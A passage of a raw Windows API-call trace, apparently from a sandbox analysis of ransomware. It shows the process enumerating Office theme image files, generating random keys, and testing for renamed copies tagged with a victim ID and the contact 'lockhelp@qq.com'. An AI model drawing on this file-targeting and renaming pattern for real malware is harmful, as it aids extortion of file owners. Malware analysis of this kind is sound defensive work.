dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.104] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=26402) returned 1 [0273.104] CloseHandle (hObject=0x30c) returned 1 [0273.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 0x20 [0273.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.104] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.147] ResetEvent (hEvent=0x2d4) returned 1 [0273.147] SetEvent (hEvent=0x2d8) returned 1 [0273.147] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.148] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1354) returned 1 [0273.148] CloseHandle (hObject=0x310) returned 1 [0273.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 0x20 [0273.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.148] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.152] ResetEvent (hEvent=0x2d4) returned 1 [0273.152] SetEvent (hEvent=0x2d8) returned 1 [0273.152] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.152] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.153] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=32433) returned 1 [0273.153] CloseHandle (hObject=0x310) returned 1 [0273.153] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 0x20 [0273.153] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.153] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.153] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.160] ResetEvent (hEvent=0x2d4) returned 1 [0273.160] SetEvent (hEvent=0x2d8) returned 1 [0273.160] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.160] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.160] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5120) returned 1 [0273.160] CloseHandle (hObject=0x310) returned 1 [0273.160] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 0x20 [0273.160] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.161] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.161] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.161] ResetEvent (hEvent=0x2d4) returned 1 [0273.161] SetEvent (hEvent=0x2d8) returned 1 [0273.161] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.161] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.162] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=60724) returned 1 [0273.162] CloseHandle (hObject=0x310) returned 1 [0273.162] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 0x20 [0273.162] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.162] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.162] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.163] ResetEvent (hEvent=0x2d4) returned 1 [0273.163] SetEvent (hEvent=0x2d8) returned 1 [0273.163] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.163] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.163] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2552) returned 1 [0273.163] CloseHandle (hObject=0x310) returned 1 [0273.163] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 0x20 [0273.163] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.163] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.163] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.164] ResetEvent (hEvent=0x2d4) returned 1 [0273.164] SetEvent (hEvent=0x2d8) returned 1 [0273.164] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.164] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.164] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=18817) returned 1 [0273.164] CloseHandle (hObject=0x310) returned 1 [0273.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 0x20 [0273.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.164] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.164] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.165] ResetEvent (hEvent=0x2d4) returned 1 [0273.165] SetEvent (hEvent=0x2d8) returned 1 [0273.165] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.165] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.165] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5179) returned 1 [0273.165] CloseHandle (hObject=0x310) returned 1 [0273.167] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 0x20 [0273.167] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.167] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.167] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.167] ResetEvent (hEvent=0x2d4) returned 1 [0273.167] SetEvent (hEvent=0x2d8) returned 1 [0273.167] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.167] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.168] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=33559) returned 1 [0273.168] CloseHandle (hObject=0x310) returned 1 [0273.169] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 0x20 [0273.169] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.169] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.169] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.169] ResetEvent (hEvent=0x2d4) returned 1 [0273.169] SetEvent (hEvent=0x2d8) returned 1 [0273.169] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.169] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.170] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2476) returned 1 [0273.170] CloseHandle (hObject=0x310) returned 1 [0273.170] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 0x20 [0273.170] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.170] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.170] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.171] ResetEvent (hEvent=0x2d4) returned 1 [0273.171] SetEvent (hEvent=0x2d8) returned 1 [0273.171] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.171] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.171] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=19485) returned 1 [0273.171] CloseHandle (hObject=0x310) returned 1 [0273.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 0x20 [0273.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.171] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.171] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.172] ResetEvent (hEvent=0x2d4) returned 1 [0273.172] SetEvent (hEvent=0x2d8) returned 1 [0273.172] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.172] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.172] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1232) returned 1 [0273.172] CloseHandle (hObject=0x310) returned 1 [0273.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 0x20 [0273.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.172] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.172] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.173] ResetEvent (hEvent=0x2d4) returned 1 [0273.173] SetEvent (hEvent=0x2d8) returned 1 [0273.173] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.173] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=18413) returned 1 [0273.173] CloseHandle (hObject=0x310) returned 1 [0273.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 0x20 [0273.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.173] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.174] ResetEvent (hEvent=0x2d4) returned 1 [0273.174] SetEvent (hEvent=0x2d8) returned 1 [0273.174] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.174] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.174] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1659) returned 1 [0273.174] CloseHandle (hObject=0x310) returned 1 [0273.174] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 0x20 [0273.175] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.175] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.175] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.175] ResetEvent (hEvent=0x2d4) returned 1 [0273.175] SetEvent (hEvent=0x2d8) returned 1 [0273.175] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.175] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.176] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=44850) returned 1 [0273.176] CloseHandle (hObject=0x310) returned 1 [0273.176] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 0x20 [0273.176] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.176] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), 